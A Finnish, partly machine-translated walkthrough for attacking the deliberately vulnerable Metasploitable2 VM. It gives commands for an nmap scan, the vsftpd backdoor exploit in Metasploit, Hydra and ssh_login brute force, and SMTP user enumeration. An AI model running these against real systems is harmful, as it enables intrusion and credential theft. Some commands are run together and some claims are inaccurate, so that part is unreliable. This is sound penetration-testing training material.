Metasploitable2

Metasploitable2 Täydellinen yleiskatsaus

Metasploitable on tarkoituksellisesti haavoittuva Linux-virtuaalikone.

Tätä VM:ää voidaan käyttää tietoturvakoulutuksen suorittamiseen, tietoturvatyökalujen testaamiseen ja yleisten tunkeutumistestaustekniikoiden harjoitteluun.

Asennus ja konfigurointi

Olemme tässä hyödyntämässä Metasploitable 2:ta (pahuksen haavoittuva kone tunkeutumistestausta varten)

Hanki tämä Metasploiable2-kone osoitteesta https://information.rapid7.com/download-metasploitable-2017.html

Asennusprosessi:

Avaa VirtualBox ja klikkaa ”New” painiketta luodaksesi uuden virtuaalikoneen
Kirjoita virtuaalikoneen nimi(Metasploitable2)
Varaa muistin määrä(mieluiten, mutta ei alle 512mb)
Valitse Käytä olemassa olevaa kiintolevytiedostoa
Valitse Rapid7:lta lataamasi vmdk-tiedosto
Klikkaa Create…!!! Onnistui Metasploitable2:n asennus, Nyt on aika määrittää verkkoasetukset.

Asennuksen jälkeen vaihda verkkosovittimen asetukset seuraavasti :

In-Network Setting: Settings/Network/Adapter Select Ethernet or Wireless

In Advanced tab Select: Promiscuous Mode as Allow All

Käynnistä Metasploitable2-kone ja yritä kirjautua sisään annetuilla tunnuksilla Banneriin…!!!!

Löydä koneen IP-osoite käyttämällä seuraavaa komento terminaalissa

ifconfig

Tämä on kaikki asennusta varten….Aloitetaan hakkerointi…

Skannaus

Skannaus Matasploitable 2

Kuten huomasimme koneen IP-osoite on 192.168.0.130

Aloitetaan skannaus Nmapilla, joka on osa Kali Linuxia

nmap -sV -p- 192.168.0.130

Hyödynnetään kaikkia portteja eri tekniikoilla :

Method 1:

Jos tarvitset lisätietoa Anonymous FTP:stä, löydät sen täältä.

https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol

ftp 192.168.0.130

Käyttäjätilin kirjautumisen jälkeen voit saada pääkäyttäjän oikeudet (root-oikeudet) tekemällä Privilege escalation.

Menetelmä 3 :

Exploita FTP:tä Metasploit-kehyksen kautta

avaa Metasploit-kehyksen konsoli ja etsi vsftpd Backdoor -hyödyntäminen

msfconsole
Search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.0.130 --> <target IP address>exploit

Onneksi olkoon, että sait pääkäyttäjän oikeudet

22-SSH

Secure Shell (SSH) on kryptografinen verkkoprotokolla, jolla voidaan käyttää verkkopalveluja turvallisesti suojaamattoman verkon yli.

SSH:n hyödyntäminen eri tekniikoilla

Metodi 1

Käyttäjätunnuksen ja salasanan murtaminen Hydralla

Hydra on Kali-Linuxin sisäänrakennettu työkalu, jota käytetään Brute force -hyökkäykseen Brute force -hyökkäys on sovellusohjelmien käyttämä kokeilemalla ja erehtymällä suoritettava menetelmä, jolla pyritään purkamaan salattuja tietoja, kuten salasanoja tai DES-avaimia, käyttämällä tyhjentäviä ponnisteluja (käyttäen brute force -menetelmää) älykkäiden strategioiden käyttämisen sijaan.

hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>

Menetelmä 2

Avaa Metasploit-kehys

Avaa päätelaite ja näppäile nämä komennot :

service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login

aseta tämä apuvälineohjelma, ja katso, mitä se vaatii.

set RHOSTS <target IP Address> --> in my case 192.168.0.130

Aseta valmiiksi määritetty Käyttäjätunnusten lista ja Salasanojen lista

set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit

Se ottaa aikapohjaisesti käyttäjätunnusten ja salasanojen listan ja Se Ilmoittaa Käyttäjätunnus: Salasana ja kirjaudu sisään näillä tunnuksilla.

ssh username@targetipaddress

Sinulla on käyttäjäoikeudet, et voi suorittaa kaikkia tehtäviä, joten yritä saada pääkäyttäjäoikeus tekemällä Privilege escalation.

23-TELNET

Telnet on yksinkertainen, tekstipohjainen verkkoprotokolla, jota käytetään etätietokoneiden käyttämiseen TCP/IP-verkoissa, kuten Internetissä. Telnet luotiin ja lanseerattiin vuonna 1969, ja historiallisesti voidaan sanoa, että se oli ensimmäinen Internet.

telnet <target IP Address> --> 192.168.0.130

Esimerkkinä se nappaa Metasploitable 2 -bannerin, se näyttää, että Kirjaudu sisään komennolla msfadmin/msfadmin saadaksesi alun perin. Syötä vain nuo tunnukset niin olet sisällä.

25-SMTP

SMTP on osa TCP/IP-protokollan sovelluskerrosta. Käyttämällä prosessia nimeltä ”tallenna ja lähetä eteenpäin” SMTP siirtää sähköpostisi verkoissa ja niiden välillä. Se tekee tiivistä yhteistyötä postinsiirtoagentin (MTA) kanssa lähettääkseen viestisi oikeaan tietokoneeseen ja sähköpostilaatikkoon.

Menetelmä 1:

Käyttämällä Metasploitia

Käynnistä Metasploit suorittamalla komennot

service postgresql startmsfconsole -qsearch smtp_version

use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run

SMTP on lyhenne sanoista Simple Mail Transport Protocol (yksinkertaisen postin kuljetusprotokolla).palvelimelta-palvelimelle-protokolla ja pitää paikallista tietokantaa käyttäjistä, joille sen on lähetettävä ja vastaanotettava sähköposteja.

SMTP:llä on joukko komentoja. Otamme yhteyden kohteeseemme ”netcatilla” portin 25 kautta ja yritämme hankkia tämän tietokannan sähköpostit.

Avaa uusi terminaali ja kirjoita:

nc 192.168.0.130 25

Nyt kun yhteys on muodostettu, voit todentaa sen ”SMTP”-komennoilla

Type: vrfy user

vrfy (Tämä ei oleinteraktiivinen komentotulkki)

SMTP-komentoja varten käy osoitteessa: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm

Method 2

Using smtp_enum

This is can be done by Metasploit

search smtp_enum

use auxiliary/scanner/smtp/smtp_enum

show optionsset RHOST 192.168.0.130exploit

Tässä metodissa käytetään enumeraatiota, jolla saadaan selville tämä SMTP-palvelun käyttäjälista.

Myöhemmin NetCat voi auttaa saamaan käänteisen yhteyden kyseiseen käyttäjään.

139&445 Netbios-SSN

Samba on avoimen lähdekoodin projekti, jota käytetään laajalti Linux- ja Unix-tietokoneissa, jotta ne voivat työskennellä Windowsin tiedosto- ja tulostuspalveluiden kanssa.

Voidaan käyttää Sambaa jopa Active-palvelimena hoitamaan kirjautumista, todennusta ja pääsynvalvontaa Windows-verkkoon.

Hyökkäyksen etsiminen